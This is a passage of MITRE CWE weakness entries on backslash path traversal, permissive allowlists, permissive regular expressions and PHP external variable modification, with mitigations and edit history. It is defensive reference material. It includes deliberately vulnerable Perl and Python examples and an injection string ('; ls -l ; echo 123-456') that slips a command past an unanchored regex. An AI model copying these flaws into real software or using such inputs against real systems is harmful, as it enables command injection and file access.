updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Directory Doubled Dot Dot Slash - 'directory/../../filename'

CWE-31: Path Traversal: 'dir\..\..\filename'

Weakness ID: 31
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'dir\..\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER8 - 'directory\..\..\filename
Software Fault PatternsSFP16Path Traversal
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-10CWE Content TeamMITRE
fixed incorrect manipulation in name (desc was correct).
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms, Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Directory Doubled Dot Dot Backslash - 'directory\..\..\filename'
2008-10-14Path Traversal: 'dir\..\filename'

CWE-183: Permissive List of Allowed Inputs

Weakness ID: 183
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.
+ Alternate Terms
Allowlist / Allow List:
This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is denylist.
Safelist / Safe List:
This is often used by security tools such as firewalls, email or web gateways, proxies, etc.
Whitelist / White List:
This term is frequently used, but usage has been declining as organizations have started to adopt other terms.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.697Incorrect Comparison
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.942Permissive Cross-domain Policy with Untrusted Domains
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.625Permissive Regular Expression
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.627Dynamic Variable Evaluation
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1215Data Validation Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)
sandbox bypass using a method that is on an allowlist
sandbox bypass using unsafe methods that are on an allowlist
CI/CD pipeline feature has unsafe elements in allowlist, allowing bypass of script restrictions
Default allowlist includes unsafe methods, allowing bypass of sandbox
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPermissive Whitelist
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Eliminating Metacharacters", Page 435. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Alternate_Terms, Description, Observed_Examples, Relationships
2020-06-25CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Permissive Whitelist

CWE-625: Permissive Regular Expression

Weakness ID: 625
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a regular expression that does not sufficiently restrict the set of allowed values.
+ Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

  • not identifying the beginning and end of the target string
  • using wildcards instead of acceptable character ranges
  • others
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.185Incorrect Regular Expression
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.777Regular Expression without Anchors
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.183Permissive List of Allowed Inputs
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.187Partial String Comparison
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis problem is frequently found when the regular expression is used in input validation or security features such as authentication.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Perl (Undetermined Prevalence)

PHP (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

(bad code)
Example Language: Perl 
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
# looks like it only has hyphens and digits
system("lookup-phone $phone");
}
else {
error("malformed number!");
}

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Example 2

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

(bad code)
Example Language: Python 
import subprocess
import re

def validate_ip_regex(ip: str):
ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")
if ip_validator.match(ip):
return ip
else:
raise ValueError("IP address does not match valid pattern.")

def run_ping_regex(ip: str):
validated = validate_ip_regex(ip)
# The ping command treats zero-prepended IP addresses as octal
result = subprocess.call(["ping", validated])
print(result)

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

+ Observed Examples
ReferenceDescription
Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.
".*" regexp leads to static code injection
insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.
regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.
Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
regexp in .htaccess file allows access of files whose names contain certain substrings
allow load of macro files whose names contain certain substrings.
+ Potential Mitigations

Phase: Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as "/^string$/" for Perl.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)IDS08-JSanitize untrusted data passed to a regex
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-473: PHP External Variable Modification

Weakness ID: 473
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.616Incomplete Identification of Uploaded File Variables (PHP)
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

+ Observed Examples
ReferenceDescription
File upload allows arbitrary file read by setting hidden form variables to match internal variable names.
Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent.
PHP remote file inclusion by modified assumed-immutable variable.
Modify key variable when calling scripts that don't load a library that initializes it.
Authentication bypass by modifying array used for authentication.
+ Potential Mitigations

Phases: Requirements; Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1415Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP External Variable Modification
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships
